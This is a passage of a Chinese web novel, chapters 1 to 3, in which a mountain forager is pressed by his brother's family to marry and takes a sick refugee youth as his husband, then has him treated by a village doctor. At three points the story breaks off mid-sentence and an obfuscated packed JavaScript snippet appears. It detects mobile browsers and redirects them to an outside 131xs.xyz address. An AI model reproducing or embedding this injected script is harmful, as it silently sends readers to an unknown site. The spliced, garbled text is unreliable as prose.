《四时赶山记》 1. 外乡人 春分已过，关外却不见几分春色。 白龙山深处尚有积雪未消，满山的枯枝层叠，仍是寒冬模样，仅向阳处有一层刚冒出来的翠绿错草，又矮又小，是野鹿开春头一份口粮。 二月廿八，是霍凌下山的日子。 离这处最近的保家镇逢初一、十五有大集，一连三日，因着二月山里依旧肃杀着，不多见好货，故而月中十五的大集他没去。 而后花了半月光景，将将攒够了一筐子像样些的东西，这才预备着下山换些银钱。 除了山货，还使麻绳捆了一对大鹿角，是几日前循着错草和鹿蹄印寻见的。 山中公鹿会在冬末春初时换新角，往往其中一个落了，也会抵着树干将另一个蹭掉，所以一对鹿角彼此之间往往相隔不远，有经验的赶山客一次可得一双。 鹿角能入药，也能做料子磨成珠子、手把件，虽野鹿漫山都是，不算多值钱，但对于赶山客而言，总归赚一个是一个。 “大个儿，走了！” 把门栓好，霍凌吹了声哨儿，唤回不远处对着树根撒尿的大狗。 那狗听了哨儿便飞奔而来，一身黑色长毛随风而动，喂养得很是彪壮，四只爪子踩在地上，肩高都赶得上霍凌的腰高，足见体型之大。 下山的路不好走，可这些年早就走熟，不消两个时辰，一人一狗已进了下山村的地界。 几年前娘亲病逝，霍凌和大哥霍峰明面上分了家，他得了爷奶那辈时修的山上小院，大哥得了爹娘在村里后起的几间屋。 实际上兄弟二人不离心，霍峰一直空着间屋与小弟，供他下山时歇脚用。 几亩田地则全数由霍峰夫妻侍弄着，除了春播秋收时，霍凌几乎不出力，遂只依着说好的份额，年年按收成多寡，分走自己的口粮。 对霍凌而言，虽爹娘都走得早，可有哥嫂的地方就是家。 他下山这日惯是一早就走，赶着正午之前到家，快到饭点时，村路上大都不见几个人，今天却反常得紧。 霍凌一路从东向西，瞧见不少人结伴往南边去，要说那边住着的几户人家有什么稀奇，当属出了两任村长的周家。 不止大人去，孩子也去，他抬手叫住一跑两步就抬袖子揩鼻涕的小子，问道：“二毛，这会子不在家等你娘做午食，跑去看什么热闹？” 霍凌这人，别看一直没成亲也没当上爹，倒是颇招孩子喜欢。 因他常在山里，难得下来一趟，偶尔得了空，乐意给村里的孩子讲赶山的故事，夏日里得些野果，也随手拿出来分。 二毛仰脖见是他，吸溜着鼻涕喊了声“二凌叔”，“我跟着虎子和狗子，去村长家看新媳妇！” “新媳妇？村长家有喜事？” 霍凌有些不解，若有喜事，他上回下山时不该没听说。 “你自个儿去吃喜酒，你爹娘不跟着？” 二毛摇头道：“不是吃喜酒，就是看新媳妇！” 前面另外两个小子这会儿见二毛没跟上，停下来喊他，二毛急得蹦跶，也不管霍凌听没听懂，抬腿就溜了。 霍凌摇摇头，心说多半是小孩子玩闹，听岔了话，没再放在心上。 片刻后到了哥嫂家，小侄女霍英高兴极了，“哒哒”跑来。 “小叔！” “嗳！”霍凌笑着应了声，撂下鹿角，弯腰将小姑娘抱起掂了掂，“我试试你沉了没。” 他哥嫂成亲几年，暂且只得了霍英一个闺女，今年四岁，是家里三口大人的宝贝疙瘩。 小姑娘教他哄得咯咯直笑，头顶一对儿羊角辫跟着上下晃荡。 “小叔，有没有给我带甜果子。” “这时节山上还荒着，没结甜果子，小叔给你带了别的。” 霍凌力气大，单手揽着个四岁的孩子，也不耽误另一只手在衣襟里摸索。 很快摸出两个圆胖松果，一看就是精挑细选过的，说百里挑一也不为过，他让霍英拿着，一只手一个。 “没有甜果子，你看这松果儿成不成。” “是圆圆果儿！” 乡下孩子能玩乐的东西少，加上霍英年岁小，看什么都稀奇，举起短短的小胳膊，端着松果左看右看，怎也看不够。 “我要放在我的小匣子里！” “想放哪儿都行。” 叔侄俩逗了两句，霍凌让她下地去找大个儿，霍家大嫂叶素萍此时从后院过来，臂弯上跨着个小篮儿，该是去后头捡蛋了。 见是霍凌，含笑道：“算着你也该今日下山，快搁下东西喝口水，中午做个干豆角焖面吃。” 霍凌叫了声“大嫂”，问他哥去了哪。 “说是先去地里溜达溜达，之后该是往三家屯屠子家去了，想你快下山，赶着割一刀肉下锅。” 她说罢，进灶房给霍凌端水，霍凌不用她麻烦，自己进去一手端碗，一手提壶，这头倒那头喝，咕嘟咕嘟灌了两碗。 院里墙根下大个儿也在埋头喝水，喝得嘴周围一圈的毛都打湿了，原地一甩，水珠四溅。 霍英蹲在一旁也不闪躲，还觉着好玩儿。 不多时，霍峰果然提着一刀肥瘦相间的好猪肉回来，另还有几节剁开的大筒骨，说是卖的就剩这些，给了个便宜价。 “你小子有福气，正赶上这口吃的。” 叶素萍接过骨头和肉，连连称好。 “将这猪肉切片和面条做一盘，筒骨炖个酸菜，出了汤，我再多抻两把面，晚上继续吃汤面。” 霍凌因还要下山歇脚的缘故，也会给家里交银钱作公用，叶素萍心疼他在山上吃不着什么像样的饭菜，逢他下山时，就做一顿带荤的白面或干饭打牙祭。 这不一大早夫妻两个便一个和面，一个买肉，张罗起来。 霍英高兴道：“吃肉咯！吃肉咯！” 叶素萍进灶屋操持饭食，霍峰叫上霍凌，说正好家里板车昨日坏了，趁两人都闲着，顺手修整修整。 有日子没见，做活的同时兄弟两个难免聊起来。 霍峰得知霍凌因着久未下山，上回自家里带去的窝头和饼子早就见了底，往后这段时日都是煮些粥水凑合。 至多添一个鸡蛋，再偶尔和大个儿下兽套捕只野兔之类，胡乱烩了来吃，不禁眉头拧成个疙瘩。 “你也不是不会治些吃食，在家也怪勤快，偏进了山就邋遢懒散得紧，不说连顿正经饭都不做，上回我去，见那炕头成日被不叠，衣裳裤儿乱丢，泥点子都干巴了还不洗，锅台更是一抹一指头灰。” “就我一人过日子，哪那么多讲究。” 霍凌实话实说，他本就一糙汉子，忙活半天，做好了饭也是自己一人吃，何必废那工夫。 被叠好了又没人看，衣服则是总想着多攒两件一起洗，不然多费水？ “说什么你都有理！” 不说这个还好，说起这个，霍峰更是来气。 “要不是你梗着脖子犟着头，死活不下山种地，非要留在山里做赶山行当，分明好手好脚，身高体壮，模样更不差，哪里至于二十好几娶不上个媳妇夫郎。” “人家好好的姑娘哥儿，哪个愿意跟你去山里做野人？你不怕熊瞎子，人家还怕！” 差不多的话，霍凌这几年里不知听多少回了，已练就左耳进右耳出的神功。 虽也犯愁何时能娶到个媳妇夫郎，可又知晓自己一接茬，大哥就要提让自己下山种地的事，故而硬是装听不见。 最后还是叶素萍听了几耳朵，手里切菜的菜刀都忘了搁下，拎着探身出来打圆场。 “老二实则是个勤快人，只是在山里打不起精神头收拾罢了，况且他成日一进山就是几个时辰，回来连口热乎饭都吃不上，换了你，你有劲儿成天扫地擦屋洗衣裳？” 说罢霍峰，也说霍凌。 “老二你这亲事，我瞧着实也不能再拖，近来听闻县城里又开始征力役修城墙，到时依旧例，肯定先从家里有兄弟还没家室的青壮征起，轮到咱家头上，要么出人，要么掏钱抵，哪个都是亏，不若就今年，多使使力气，把这事办成。” 叶素萍话说得中肯，此事前两年也有。 那会儿霍凌刚二十，靠着赶山攒下小笔家底，还没捂热乎，为了抵徭役，不得不掏出五两作折银，加上打点当中经手人的，花了八两不止，寻常人家忙活大半年也不过就挣这些。 再来一回，那真是想想就肝儿颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691351|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是娶亲要真那么容易，何至于到现在没个着落。 算起来，他十五那年丧母，因母丧到十八才论亲事，然而用霍峰的话讲，不知中了哪门子邪，非要去山里度日，接下他爷、他爹两辈儿的衣钵，继续做个白龙山里的赶山客。 深山中岂是什么好地方，走背字遇见熊瞎子，能给啃的骨头都不剩，况且霍凌他爹就是赶山时从高树上摔下来没的。 像样的人家，哪舍得把孩子嫁过来，就算不丢命，守寡也要命。 不像样的人家，倒是拿了彩礼就肯“卖”孩子，可那样的人家，霍凌也不乐意去结亲。 “回头再说。” 相看多了，次次不成，霍凌难免有些灰心。 见他压下不肯再提，叶素萍和霍峰对了个眼神，也就止了话头。 午间，一人一大碗焖面条，并一盆子酸菜猪骨汤上了桌。 面条是杂面和的，不过也掺了几把白面。 配上荤油烧的干豆角和肉片子，菜肉焦香入味，面条筋道耐嚼，扒几大口进肚，甭提多满足。 筒骨外头剩的肉不多，但啃完了还能吸溜里面的骨髓吃，霍凌吃时刻意将骨髓剩了些，将余下的全给了大个儿。 大个儿的牙口可比人好多了，咔嚓两下就把筒骨咬碎，里外里吃了个干净。 霍峰不及霍凌吃得快，也不及他吃得多，叶素萍和霍英更是早早放了筷。 等霍凌吃完，发现侄女已经被打发到一边玩去了，他哥嫂两个望着自己，似是有话说。 联想到饭前大嫂说的话，直觉告诉霍凌，多半是家里对于他的亲事有了什么新想头。 不出所料，接着霍峰和叶素萍你一言我一语，把要说的事同霍凌讲清。 原是关内几县连遭两年大旱，迫得不少人成了流民到关外谋生，他们长林县只这点好，地多人少，素来对外来流民颇为宽待，但凡来了，都能留住。 人进了城，便分作几类，那等有家有口的最是稳妥不生事，衙门许他们择地落籍，开垦荒地。 县内土地肥沃，大山环绕，只要有手有脚，就绝对饿不死。 独身的青壮多被大户纳去做长工，能活着走到地方的定是有一把子好体格，吃饱饭能卖大力气。 那些个地主良田广阔，一家能蓄养十几二十个长工，怎也不嫌多。 最后一类即是些姑娘和小哥儿，有些因故守了寡，有些尚未嫁过人，皆交由各镇上官媒，领去下面村屯配人家。 此乃最容易的安置法子，还能顺道安抚了那些想媳妇夫郎想得睡不着的光棍汉。 “前些日子村长就得了信儿，特地来咱家提了醒，还说要是你到日子没下山，我上去寻也要把你寻来。” “这回说是摊派到咱们村的，姑娘哥儿都有，若合眼缘，直接领回家都使得，因是流民，一路过来不容易，有条命就不错，嫁妆别指望，相应的也不要咱出彩礼，只图个搭伙过日子。” 连彩礼都能省，对汉子们而言绝对是值得打破头的好事，霍凌都能想见，到时这几个姑娘哥儿要教多少个脑袋围起相看。 怪不得回来路上好些人往周家去，恐怕是去打听消息，引得二毛这般的小娃娃都跟着去凑热闹。 他手里有积蓄，就是备着娶亲用，只是一直没用上，彩礼是不差的，唯独缺个合适的人。 见他半天不说话，霍峰不由眼皮直跳，警告道：“你该不是不想去？这可是村长发了话的，你就是想犯轴，也给我憋着。” 霍凌本想说这听着哪里像相看，倒像是人牙子卖人，心里头怪别扭，到时领回来，也不晓得人家是不是真心实意。 不过给流民配人家并非什么新鲜事，只是下山村偏僻且不富裕，过去从未轮上过罢了。 去别村时常听说谁家媳妇或夫郎是关内逃难来的，为了在这里立住脚，活下命，也都好端端过着日子。 世道如此，盲婚哑嫁尚存。 就算有机会相看，无非是见上一面，瞧着有鼻子有眼，不缺胳膊少腿，亲事便定下，比直接领人回家多了几道礼数罢了。 眼看他哥目光愈发逼人，霍凌躲不过，只好道：“我去，无论成不成的，先看看再说。” 2. 病哥儿 翌日上午，喂完家里一口猪和一窝鸡鸭，兄弟俩挑着担走一趟，将院内大水缸添满，方各自进屋换了干净衣裳，一并往周家去。 出门前，霍凌特地牵上了大个儿。 这算是吃一堑长一智，因去年曾为此吃过亏。 那时有个媒人来往两村，说得天花乱坠，道外村一哥儿肯嫁过来，不嫌霍凌的行当不安稳，也乐意进山。 怎知相看时，那哥儿瞥见了大个儿，吓得脸色煞白，当场背过气去。 又是喊人又是扛着送医，掐人中给掐醒后，哥儿哭着喊着死活不嫁，细问方知是媒人从中欺瞒，人家压根不知霍凌是赶山客。 说媒不就是要捡好听的宣扬，再者霍凌生得出挑，一表人才，媒人盘算着，指不定哥儿见面瞧见那张脸就肯应了。 殊不知有人能怕狗怕到这份上，到头来媒人礼没赚着，反倒赔了一笔药钱，自此灰溜溜的，再不敢踏入下山村地界。 霍峰见霍凌牵了狗，也想起去年的糟心事，害得家里空欢喜一场。 只盼这回不白跑一趟，令老二的亲事能有个着落。 事情却不如企盼的那般顺利。 刚到周家院门口，就已听见里面的吵嚷。 领人进村的赵官媒被一群村人围着，七嘴八舌，说得她是心火直冒，口干舌燥。 叶素萍瞧见围着的人里有熟人，上前打听一番，回来后也变得愁眉苦脸。 “出啥事了，在这就闹起来。” 霍峰抱着闺女问，叶素萍瞅瞅兄弟俩，重重叹口气。 “说是送来村里的人不够数，原说至少有五六个，毕竟咱们村光棍汉子不少，还是村长特地去镇上衙门里求的，哪知人送来了，只余两个，别的都教人半路截了。” 她话音刚落，那边的声调又高起来，是赵官媒忍无可忍，站上一块略高的大石头，掐着腰同众人嚷嚷。 “你们现在同我要人，揪了我的脑袋我也交不出！已说了好几回，人是半路在双井屯时，被那沈家截去的，人家是地主大户，纳几个姑娘哥儿为奴为婢难道不正当？不仅正当，官府还要奖赏他们，许减粮税呐！” 她甩着手里的帕子拍胸脯，好似给气得胸口疼。 “我在地主老爷跟前又算个什么，人家哪条胳膊不比我大腿粗，反正现在只剩两个人，你们爱看不看，爱要不要！” 话说到这份上，也堵死了下山村诸人的嘴。 毕竟谁敢真的去双井屯，跟那地主沈家讨说法。 就因有个沈家能沾上光，双井屯的人行事素来牛哄哄的，看不起旁边几个小村屯，仗势欺人也不是头一回了。 村长周成祖见状，敲了几下子盆儿令众人安静，扬声道：“事已至此，总比没有的强，有意相看的都进院，其余的赶紧散了，别聚在这处生事！” 赵官媒冷着脸跳下石头，心道若不是背着官家差事，她堂堂一官媒，自该在城里富户的堂上喝茶吃果儿，哪至于天不亮就赶路，到此处和一帮泥腿子拉扯不休，还是早些办完差事，趁早回去要紧。 在周成祖的招呼下，她吊着眉眼进了院内，其余来相看的汉子与家里人，以及好些个看热闹的，顺势一齐涌进去。 霍家人站得算是靠前，叶素萍一看由官媒领来的人，小声嘀咕：“咋都是哥儿。” 哥儿不易有孕，故而在亲事上头不如姑娘吃香，譬如正经过礼时，按着现今行情，姑娘是能给到五两彩礼的，要是模样好嫁妆丰，还能往上再喊喊，反观哥儿，左不过三四两银就到头。 所以好人家说亲，都喜先说姑娘家，说不上才寻哥儿结亲。 不过叶素萍也只是说说而已，霍凌拖了这好几年，哪还有什么挑头。 再看来人，靠左立着的那个面盘尖尖、脸皮蜡黄，一副病容。 右边那个，该是年岁不大，手腕不及柴火棒粗，始终和左边的哥儿紧挨在一处。 至于模样，逃荒一路，都瘦脱相了，实也看不出什么，总之合在一起，都不像有力气干活的。 怪不得沈家没要。 叶素萍既这么想，在场其余人也差不多，都在交头接耳，嘟嘟囔囔。 当中属郑婆子话最多。 “那病哥儿断不能行，带回家倒赔药钱不说，治不好万一人没了，多晦气。” “另一个矮个儿的还凑合，只是体格单薄一张板儿，怕是养胖了也生不出儿子。” 无礼且话糙，可在乡下，有几人不信这套？ 当下好些人摇头，不多时，围了两圈的人走得只剩一圈，连带郑婆子也走了。 她家本还剩个小儿子没成亲，是打着省彩礼白赚个人的算盘来的，然而见这头两个都是赔钱货，如此傻事她怎会干。 就算不要彩礼，到家总还要给口饭，到时候没法传宗接代，照样白养一回。 又是个娘家根脚不在当地的，赶都不好赶。 人少了，周遭清净许多，小哥儿们仍默不作声站在那里，任人评头论足。 霍峰悄声问霍凌，“你怎么想？” 霍凌实则也不知说些什么好，只是来都来了，见大哥盯得紧，勉强问官媒娘子道：“不知这两人多大了。” “年岁都不大，这小个子的今年十六，另外那个更大些，有个双九。” 赵官媒为打消村人顾虑，多说了几句。 “大家伙也别嫌他俩瘦巴巴的不像样，换你走上千里路背井离乡，不一定有人家气色好。到底是衙门查验过的，皆是身家清白，还不要彩礼，过了这村没这店的好事！” 要霍凌说，眼前的赵官媒真有点像城里牙行的人牙子，想着法儿把人留下。 霍峰有意让小弟看看那年轻些的哥儿成不成，霍凌干脆地摇头，说是觉得岁数太小。 “说是十六，看着和十四五似的。” “你小子不是只挑人家肯不肯进山，怕不怕狗，咋还挑上岁数了？还不兴人家长得显小些。” 霍峰气得眉毛一竖，有心再劝，可惜霍凌犟驴脾气上来，就是不肯。 于是眼睁睁看着林家那个结巴小子把人领去了，两边互换了名姓，原来那哥儿姓肖，叫肖明明。 林母高兴得合不拢嘴，对着村长和赵官媒谢了又谢，还说要回家取鸡蛋来送，周成祖不收，赵官媒实是瞧不上，如此才作罢。 她守寡多年，只林长岁一个儿子，还没咋学会说话的时候，就被那混账爹打坏了一只耳朵。 后来倒是能说话了，只是磕绊不利索，怎也治不好。 加上家里日子紧巴巴，拿不出像样彩礼，林长岁二十了，亲事始终没着落。 别人挑拣哥儿家能不能生养，她知自家斤两，故而不嫌，有个人总比没有强。 就算真的不能生，大不了去外村同族里抱一个，自小养大，也和亲的一样。 那头林家人打算领肖明明离开，这头霍凌更是抬步想走，周成祖见状，开口把人喊住。 他和霍家兄弟的爹霍老栓交情不差，霍峰和霍凌还要管他叫一句老叔。 霍老栓人没得早，令他每每忆起都颇是伤怀。 在他看来，霍凌这小子真真儿是什么都好，唯独脾气太硬，像是隔辈承袭了霍家太爷天不怕地不怕的匪气，认准的事八头驴拉不住。 就说娶亲这事，再不接个人过门，怕不是要打一辈子光棍。 他不得不摆出长辈架势，点了点余下的小哥儿道：“我瞧这也是个好孩子，年岁和你差得不多，能咬牙活着出关的，定也不是没胆识的，岂不正和你心意？” 霍凌这才多看了那哥儿一眼，发现比起刚刚的肖明明，这哥儿好似浑然不在意自己身在何处，神情空茫，盯着地上一块石头出神。 霍峰打量半晌，不好拂村长面子，委婉道：“是不错，就是眼神看着有些木楞。” 别是个脑子不灵光的。 赵官媒可不想费劲把人送到乡下，又原样带回去，闻言赶紧道：“哎呦，也怪不得他，谁还不是个苦命人了。” 她出城的路上听同行的流民说过几句，这会儿原样讲来。 “他本出身关内平安县，家里人丁旺，可惜逃荒路上死的死散的散，到长林县城外时，只剩他和他娘两人。” “那他娘呢，没一起跟来？” 赵官媒摆摆手，避开那哥儿，朝霍家人压低声道：“他娘没福，在路上就害了病，没进城就咽气了。官府为防疫病，将好些人凑一起，点了把火，一并挖坑埋了。” 也就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691352|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说连个单独的坟包都没落着，这在时人眼中可谓大不孝，不然街头怎会动辄有卖身葬父葬母的惨事。 换了谁，谁心里都难过这道坎儿。 就连赵官媒都面露不忍。 “这不，他大悲一场，也病起来，好在县城里有义诊的郎中，好心给了两颗药丸子，道不是什么大病，吃几顿饱饭，养一养便好了。” 听了这故事，任谁再看小哥儿，愈觉他可怜。 分明就差一步进城了，哪怕孤儿寡母，多少是个依靠。 赵官媒方才听周成祖提了几句霍凌的境况，当下一张媒人嘴，说个不停。 “霍家小子，婶子这半辈子说成的亲事没有一百也有八十，还能害你不成？你只管听婶子一句话。” 她殷切道：“你就把这人领家去，保准亏不了。一来省了抵徭役的银子，二来得个人暖被窝，好人家的哥儿，灶上的本事和针线功夫不会差，都是从小练起来的，以后啊，你只等享福！” “至多开始时辛苦些，你家发发善心，舍他几碗汤药，救人一命又不是坏事，这可都是福报！” 眼见她越说越起劲，叶素萍想及自家在媒人手上吃过的亏，忍不住打断道：“知娘子好心，只我家也是普通人家，没那好些余财做菩萨，领不领人，还得看有没有缘分。” 赵官媒一拍手，越发高声。 “缘分好，要我说，今日能遇见那就是缘分！要不怎么说百年修得同船渡，千年修得共枕眠？” 见霍凌不言语，却也没拍屁股走人，她咂摸两下，觉得有戏，走近些添了把火。 “你婶子我是从县城来的，素日行走，多少能听见些风声。像这青壮服徭役，本就是天经地义，这几年是不缺人却缺钱，上头开恩，故而许你掏钱抵，万一下一年掏钱都不好使了，那可如何是好呦！” 她绘声绘色，说那修城墙、下矿井的苦。 “那真是吃不饱、睡不暖，没日没夜埋头干，去那一趟，回来不死也得脱两层皮！身子骨累垮了，回家来卖不了力气，挣不得糊口钱，岂不更难说亲，一耽误真就是一辈子。” 赵官媒为防人砸在手里，说得嗓子发干，见哥儿还在那充木头，不由阵阵头疼，往他后背拍一巴掌。 “你这哥儿，不赶紧说两句话，要是这门亲事成了，还怕没有好日子？人家霍家是下山村顶好的人家，善心又厚道！” 哥儿教她一拍，险些没站稳，关键时候是有人伸手，使一硬邦邦的东西垫了他胳膊一下，这才没摔倒。 他受了惊，终于肯抬眸看过去，发觉眼前杵着个高壮的汉子，刚刚用的物件竟是把匕首。 这等关口，还能顾及性别之防，哥儿因意外而睁了下眼珠，倒因此活过来几分。 他站直了道谢，想了想复问道：“……大哥可是猎户？” 霍凌没想到小哥儿会对自己开口。 方才看了半晌，他真当人已经麻木了，说句不好听的，似也无多少求生之志，一阵风就能带走。 不禁让他想起自己丧亲时的痛楚，爹走得早，十几年过去连面目都模糊，可娘亲去时当真是撕心裂肺，那阵子出门看天都觉天是灰的。 “不算是。” 霍凌顺着他的视线看向腰间，他常在山里行走，遇见野物的时候多，已练就了出手快的本事，用完后随手就插回了皮鞘里。 “你为何这么问？” “我爹……年轻时做过猎户，他那会儿也喜在腰间别一把短匕。” 霍凌摩挲了两下匕首木柄，忽而道：“你怕不怕狗？” 赵官媒在旁听着，瞪眼挑眉，心底奇了又奇。 这俩人也是厉害，问出口的话皆上下不挨着，要这么说，还怪般配。 哥儿面露不解，轻轻摇头。 “不怕，我家从前养过猎狗，家里人亦爱狗，后来我爹跌了一跤伤了腰，不再做猎户，狗也老死了，恐再伤心，这才没再养。” 他说话有些慢，嗓子也发哑，说两下便咳两下，像是已有段时日没说这么多字了。 霍凌却满意这答案，喜欢狗的人心思坏不到哪里去。 他朝门外吹声口哨，复低头看向瘦巴巴的小哥儿。 “你且先瞧瞧我的狗。” 3. 还不熟 “好家伙，这真是狗，不是下山的熊瞎子？” 大个儿本被霍凌留在周家外独自撒欢，惹得左邻右舍的狗轮流叫，听见哨声后第一时间回转，跑到主人跟前，摇着尾巴听令。 赵官媒哪见过这样的狗，当场吓得连退好几步。 “这站起来，得比人还高吧？” 说亲这么多年，她头回见有人相看时带着狗，怪不得一把岁数还打光棍，真是半点不冤。 颜祺却当真不怕，还蹲下来仔细看了半晌，任由大狗围着自己闻嗅，看得赵官媒啧啧称奇。 “宽背、立耳、尾冲天，通身黑，四爪白。” 他起了兴致，仰面同霍凌道：“我爹曾说，四蹄踏雪，猎物杀绝，这样的猎狗，百里挑一。若不是自家大狗生怀的，恐是花过大价钱。” 霍凌意外于他眼光精到，还懂相犬的口诀，抬手比了个数。 “你说值不值？” “值，在我老家，这个数目买不到此等品相的好狗，还需再添个二三成才有戏。” 霍凌眉目舒展，颇有得见知音的畅快。 毕竟当初大哥听说他用一根值十几两的野山参，在大集上换了刚断奶的大个儿，险些打折他的腿。 若是往后和眼前人在一处过日子，好似也不差。 “我叫霍凌，在家行二，不是猎户，而是白龙山的赶山客。” 霍凌示意颜祺起身，去看远处连绵的大山。 山顶终年覆雪白头，绵延无际，横贯长林，走势如龙，故而得名白龙。 颜祺看得出神。 他素来不是那等偏开朗的性子，眼下却不由自主被汉子引着，一言一语说起话来，旁若无人一般。 “你叫什么？” “颜祺。” 霍凌默默念了一遍这两个字。 村户人都大字不识二三个，不需费劲解释是哪个字，知晓怎么念足矣。 “我知你没了亲人，我早年也没了爹娘，可越是这样，咱们留下的人越要好好活，才好让他们在天上心安。” 颜祺闻言，眼眶倏地滚热。 他垂下眸去，抬起袖子擦了擦眼。 只是眼泪擦不绝，直到两边袖子都浸湿了，方才吸着鼻子停下来，随即长长吐出一口气。 这遭哭得短暂却畅快，神思也变得清明。 他听霍凌问自己，愿不愿意嫁人。 他点了点头，“愿意的。” 霍凌遂侧过脸，垂眸细看他模样。 他不知这是否就是所谓的缘分，只知这么看，起码是合眼缘的。 而且两人都喜欢狗，至少成亲后不会大眼瞪小眼，没半句话可讲。 “给我做夫郎，要随我一道进山赶山，山里有虎狼、有长虫，短则十天半月，长则一月才能下山一回，你怕不怕？” 颜祺终于抬头，正眼望向霍凌，他见汉子一脸正色，不似作伪，心下震动，不成想对方真情愿择自己过门。 几步外的大狗威风凛凛，湿润的鼻头在风里一动一动。 颜祺知晓，嫁不嫁人本就由不得自己，若那人是眼前的汉子…… 他痛快道：“我不怕。” 霍凌得了肯定答复，半句废话没有，朝前向那赵氏示意道：“劳烦官媒娘子见证，就他了。” “好极，好极！” 赵官媒连赞两声，乐成一朵花儿。 “我今朝也算是功德圆满。” 周成祖好生欣慰，一边令老妻和儿媳妇招呼官媒人进屋吃茶，一边听霍凌说想借自家牛车去麻儿村寻郎中，赶紧喊儿子将车赶来。 “是该去瞧瞧，别把小病拖成大病。” 牛车不多时到了门口，霍凌接过大哥跑腿回家取来的钱袋，往怀里一揣。 回头瞅见小哥儿独自对着高高的牛车，半天没爬上去，他伸手去扶。 片刻前两人还不相识，自不好当众拉扯，现下已结作夫夫，便不必避嫌了。 怎料小哥儿缩了缩胳膊，小声道：“我身上脏。” 他衣服都已看不出原本颜色，头发打了绺，逃荒的路上不必提，前些日子又浑浑噩噩，连找处野水简单梳洗都顾不上，这会儿低头看自己，实在不好意思让人碰。 霍凌却不管，大手一张，拎他就像拎小鸡。 “哪有那么多穷讲究。” 颜祺只觉脚下一空，回过神来的时候已经坐在牛车上。 霍凌看他抱膝坐稳，抬手和哥嫂作了别，扬起缰绳，驱车上路。 马胡子是周边几个村屯唯一的草医，本名叫马百里，只是叫得人不多，他蓄了两撇怪滑稽的小胡子，遂无论男女老少都喊他作马胡子。 人来时，他正在院子里挽着袖子切药材。 见霍凌扶了个哥儿进来，看着走路都打晃，当即把刀一丢道：“这是谁害病了，赶紧送进屋，搁板子上。” “我夫郎，劳驾您给看看，额头烫得很，都快能摊蛋饼了。” 这话听得马胡子的胡子一抖，小眼睛瞪得溜圆。 “你小子啥时候有夫郎了？” “正是今天才有的。” 马胡子家的西屋使木板搭了个床，专供来此的病患暂躺，上面铺了条薄絮褥子，又垫草席，方便更换。 颜祺平躺下来，只觉得病势汹汹，呼出来的气灼灼烫人。 马胡子洗了把手过来，又是掰眼皮又是号脉，忙了半天后坐下道：“这是急病，送来的及时，倒是没什么大碍，吃服药把高热压下去就是了，不过这哥儿底子亏空得厉害，少不得吃上一阵子补药调理。” 到这里他已猜出小哥儿来历，这模样的流民他们村也来了几个，男女老少都有，个顶个瘦得皮包骨，可怜见的。 “该吃什么就吃什么，您尽管开就是，别替我省银钱。” 霍凌又问：“他这样的，用不用吃参？” 白龙山里最值钱的山货，无疑就是野山参，当地又叫“棒槌”。 山参依照年份不同，有不同的称呼，需至少四年生的方能入药，唤作“灯台子”，因野参长成得太慢，哪怕是霍凌这种常住山里的赶山人，一年到头也遇不见两回能挖的。 霍凌这些年里到手的多是“灯台子”，大都换了钱，只留两株在家，备着需要时可应急。 马胡子摆手加摇头，“没到那份上，且虚不受补，听说过没？哪用得上参了，压根不对症。” 同时心道，霍家小子怪舍得，娶个病哥儿，大价钱的山参也肯用，都说大难不死必有后福，正应在这哥儿的运道上。 他手下不停，写好方子，自去另一间屋里抓药。 晚些时候又取针在颜祺耳朵后面放了记血，挤出来的血色发暗，留下一抹痕。 来时还不到正午，等到颜祺退热已是傍晚，天都快黑了，马胡子终于松口，允了霍凌带人回家。 颜祺出了一身汗，马家媳妇给他烫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691353|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条布巾擦了擦，多少舒服了些，踩在地上时步子也不再虚浮。 “回去吃上三日药，再回来寻我复诊，三日里吃些好克化的清淡物，仔细着别吃风受凉。” 霍凌听了这话，干脆把外衫脱了下来，披在颜祺肩上。 这么一来，他身上就剩了一件单衣。 颜祺慌乱间兜住过于宽大的衣裳，“我不用，你拿回去穿。” “没听郎中说，你得小心些别受凉。” 他活动活动肩膀，“我火气旺，不冷。” 两人毕竟不算太熟，颜祺尚还在花了霍凌好些药钱的忐忑里，教他这么一讲，也不知该怎么把衣服让回去，只得暂且默默披上。 霍凌看小哥儿缩在松垮的衣领中，袖子长得能唱戏，只露出一张巴掌小脸，额心一点红痣，是哥儿独有的孕痣。 他心里起了些陌生的滋味，品了品，揣测这大概就是有了夫郎的不同。 以后这人，就是自己的枕边人了。 …… 回到下山村时天色彻底暗下来，牛车停在霍家门前，颜祺下车驻足，透过打开的院门看向面前的农家小院。 和老家的土坯房不同，这边的屋子都是木头垒的，只院墙是夯土所筑，其中似还夹杂了大块的石头。 当中正房坐北朝南，东西向是连着的三间屋，墙侧修起高高的烟囱。 